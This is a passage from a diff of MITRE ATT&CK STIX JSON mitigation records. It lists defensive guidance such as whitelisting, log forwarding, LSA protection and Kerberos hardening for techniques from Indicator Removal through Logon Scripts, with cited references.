"modified": "2019-07-24T19:39:30.292Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Indicator Removal from Tools Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "external_references": [ + { + "external_id": "T1066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1066" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:40:00.118Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "type": "course-of-action", + "name": "Indicator Removal on Host Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "external_references": [ + { + "external_id": "T1070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1070" + } + ], + "modified": "2019-07-24T19:40:27.401Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)", + "type": "course-of-action", + "name": "Indirect Command Execution Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "external_references": [ + { + "external_id": "T1202", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1202" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "SpectorOPs SettingContent-ms Jun 2018", + "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.", + "url": "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39" + } + ], + "modified": "2019-07-24T19:40:51.340Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Inhibit System Recovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6", + "external_references": [ + { + "external_id": "T1490", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1490" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:41:58.947Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-22T13:54:51.385Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "type": "course-of-action", + "name": "Input Capture Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996", + "external_references": [ + { + "external_id": "T1056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1056" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:42:17.622Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).", + "type": "course-of-action", + "name": "Input Prompt Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "external_references": [ + { + "external_id": "T1141", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1141" + } + ], + "modified": "2019-07-24T19:42:41.375Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", + "type": "course-of-action", + "name": "Install Root Certificate Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c", + "external_references": [ + { + "external_id": "T1130", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1130" + }, + { + "source_name": "Wikipedia HPKP", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ], + "modified": "2019-07-24T19:43:20.432Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "course-of-action", + "name": "InstallUtil Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362", + "external_references": [ + { + "external_id": "T1118", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1118" + } + ], + "modified": "2019-07-24T19:43:58.738Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "type": "course-of-action", + "name": "Kerberoasting Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549", + "external_references": [ + { + "external_id": "T1208", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1208" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "modified": "2019-07-24T19:44:28.440Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)", + "type": "course-of-action", + "name": "Kernel Modules and Extensions Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884", + "external_references": [ + { + "external_id": "T1215", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1215" + }, + { + "source_name": "SourceForge rkhunter", + "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.", + "url": "http://rkhunter.sourceforge.net" + }, + { + "source_name": "Chkrootkit Main", + "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.", + "url": "http://www.chkrootkit.org/" + }, + { + "source_name": "Kernel.org Restrict Kernel Module", + "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.", + "url": "https://patchwork.kernel.org/patch/8754821/" + } + ], + "modified": "2019-07-24T19:44:56.371Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "type": "course-of-action", + "name": "Keychain Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a", + "external_references": [ + { + "external_id": "T1142", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1142" + } + ], + "modified": "2019-07-24T19:45:38.627Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.", + "type": "course-of-action", + "name": "LC_LOAD_DYLIB Addition Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604", + "external_references": [ + { + "external_id": "T1161", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1161" + } + ], + "modified": "2019-07-24T19:45:55.012Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "type": "course-of-action", + "name": "LC_MAIN Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b", + "external_references": [ + { + "external_id": "T1149", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1149" + } + ], + "modified": "2019-07-24T19:46:16.474Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)", + "type": "course-of-action", + "name": "LLMNR/NBT-NS Poisoning Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "external_references": [ + { + "external_id": "T1171", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1171" + }, + { + "source_name": "ADSecurity Windows Secure Baseline", + "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.", + "url": "https://adsecurity.org/?p=3299" + }, + { + "source_name": "byt3bl33d3r NTLM Relaying", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html" + }, + { + "source_name": "Secure Ideas SMB Relay", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html" + }, + { + "source_name": "Microsoft SMB Packet Signing", + "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)" + } + ], + "modified": "2019-07-24T19:46:41.947Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", + "type": "course-of-action", + "name": "LSASS Driver Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "external_references": [ + { + "external_id": "T1177", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1177" + }, + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + }, + { + "source_name": "Microsoft Enable Cred Guard April 2017", + "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage" + }, + { + "source_name": "Microsoft Credential Guard April 2017", + "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works" + }, + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ], + "modified": "2019-07-24T19:47:23.978Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "type": "course-of-action", + "name": "Launch Agent Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13", + "external_references": [ + { + "external_id": "T1159", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1159" + } + ], + "modified": "2019-07-24T19:47:59.038Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "type": "course-of-action", + "name": "Launch Daemon Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "external_references": [ + { + "external_id": "T1160", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1160" + } + ], + "modified": "2019-07-24T19:48:23.825Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "type": "course-of-action", + "name": "Launchctl Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "external_references": [ + { + "external_id": "T1152", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1152" + } + ], + "modified": "2019-07-24T19:48:43.583Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", + "type": "course-of-action", + "id": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Limit Access to Resource Over Network", + "external_references": [ + { + "external_id": "M1035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1035" + } + ], + "modified": "2019-06-11T16:30:16.672Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:30:16.672Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", + "type": "course-of-action", + "name": "Limit Hardware Installation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "external_references": [ + { + "external_id": "M1034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1034" + } + ], + "modified": "2019-06-11T16:28:41.809Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:28:41.809Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block users or groups from installing unapproved software.", + "type": "course-of-action", + "name": "Limit Software Installation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "external_references": [ + { + "external_id": "M1033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1033" + } + ], + "modified": "2019-06-11T16:26:52.202Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:26:52.202Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", + "type": "course-of-action", + "name": "Login Item Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", + "external_references": [ + { + "external_id": "T1162", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1162" + }, + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ], + "modified": "2019-07-24T19:49:43.716Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "type": "course-of-action", + "name": "Logon Scripts Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "external_references": [ + { + "external_id": "T1037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1037" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS 